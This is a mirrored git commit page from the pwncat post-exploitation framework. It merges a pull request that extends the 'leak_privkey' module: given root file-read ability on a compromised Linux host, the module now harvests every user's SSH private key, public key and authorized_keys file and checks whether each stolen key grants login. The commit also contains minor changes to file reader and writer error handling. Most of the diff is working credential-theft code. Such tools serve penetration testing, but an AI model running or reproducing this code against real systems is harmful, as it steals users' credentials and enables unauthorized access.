1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Merge pull request #182 from calebstewart/issue-181-leak-privkey-root

Updated leak_privkey to leak all keys when UID=0
This commit is contained in:
Caleb Stewart 2021-09-18 23:43:13 -04:00 committed by GitHub
commit cbd6f1d20f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 75 additions and 48 deletions

View File

@ -24,6 +24,8 @@ and simply didn't have the time to go back and retroactively create one.
- Added `OSError` for `bind` protocol to show appropriate error messages
### Changed
- Changed some 'red' warning message color to 'yellow'
- Leak private keys for all users w/ file-read ability as UID=0 ([#181](https://github.com/calebstewart/pwncat/issues/181))
- Raise `PermissionError` when underlying processes terminate unsuccessfully for `LinuxReader` and `LinuxWriter`
## [0.4.3] - 2021-06-18
Patch fix release. Major fixes are the correction of file IO for LinuxWriters and

View File

@ -18,64 +18,77 @@ class Module(EnumerateModule):
"""Locate usable file read abilities and generate escalations"""
# Ensure users are already cached
list(session.iter_users())
all_users = list(session.iter_users())
already_leaked = []
for ability in session.run("enumerate", types=["ability.file.read"]):
user = session.find_user(uid=ability.uid)
if user is None:
continue
if ability.uid == 0:
users = all_users
else:
user = session.find_user(uid=ability.uid)
if user is None:
continue
users = [user]
yield Status(f"leaking key for [blue]{user.name}[/blue]")
for user in users:
if user in already_leaked:
continue
ssh_path = session.platform.Path(user.home, ".ssh")
authkeys = None
pubkey = None
# We assume its an authorized key even if we can't read authorized_keys
# This will be modified if connection ever fails.
authorized = True
yield Status(f"leaking key for [blue]{user.name}[/blue]")
try:
with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp:
privkey = filp.read()
except (ModuleFailed, FileNotFoundError, PermissionError):
yield Status(
f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]"
)
continue
ssh_path = session.platform.Path(user.home, ".ssh")
authkeys = None
pubkey = None
# We assume its an authorized key even if we can't read authorized_keys
# This will be modified if connection ever fails.
authorized = True
try:
with ability.open(session, str(ssh_path / "id_rsa.pub"), "r") as filp:
pubkey = filp.read()
if pubkey.strip() == "":
pubkey = None
except (ModuleFailed, FileNotFoundError, PermissionError):
yield Status(
f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]"
)
if pubkey is not None and pubkey != "":
try:
with ability.open(
session, str(ssh_path / "authorized_keys"), "r"
) as filp:
authkeys = filp.read()
if authkeys.strip() == "":
authkeys = None
with ability.open(session, str(ssh_path / "id_rsa"), "r") as filp:
privkey = filp.read()
except (ModuleFailed, FileNotFoundError, PermissionError):
yield Status(
f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]"
f"leaking key for [blue]{user.name}[/blue] [red]failed[/red]"
)
continue
try:
with ability.open(
session, str(ssh_path / "id_rsa.pub"), "r"
) as filp:
pubkey = filp.read()
if pubkey.strip() == "":
pubkey = None
except (ModuleFailed, FileNotFoundError, PermissionError):
yield Status(
f"leaking pubkey [red]failed[/red] for [blue]{user.name}[/blue]"
)
if pubkey is not None and authkeys is not None:
# We can identify if this key is authorized
authorized = pubkey.strip() in authkeys
if pubkey is not None and pubkey != "":
try:
with ability.open(
session, str(ssh_path / "authorized_keys"), "r"
) as filp:
authkeys = filp.read()
if authkeys.strip() == "":
authkeys = None
except (ModuleFailed, FileNotFoundError, PermissionError):
yield Status(
f"leaking authorized keys [red]failed[/red] for [blue]{user.name}[/blue]"
)
yield PrivateKey(
self.name,
str(ssh_path / "id_rsa"),
ability.uid,
privkey,
False,
authorized=authorized,
)
if pubkey is not None and authkeys is not None:
# We can identify if this key is authorized
authorized = pubkey.strip() in authkeys
yield PrivateKey(
self.name,
str(ssh_path / "id_rsa"),
user.id,
privkey,
False,
authorized=authorized,
)
already_leaked.append(user)

View File

@ -343,6 +343,12 @@ class LinuxReader(BufferedIOBase):
self.popen.terminate()
self.popen.wait()
# This happens immediately upon the first read attempt because the process will have
# exited. During testing, this seems reliable. It's not ideal, but we don't know what
# the remote process is...
if self.popen.returncode != 0:
raise PermissionError(self.name)
self.detach()
@ -484,6 +490,12 @@ class LinuxWriter(BufferedIOBase):
self.popen.kill()
self.popen.wait()
# This happens immediately upon the first read attempt because the process will have
# exited. During testing, this seems reliable. It's not ideal, but we don't know what
# the remote process is...
if self.popen.returncode != 0:
raise PermissionError(self.name)
# Ensure we don't touch stdio again
self.detach()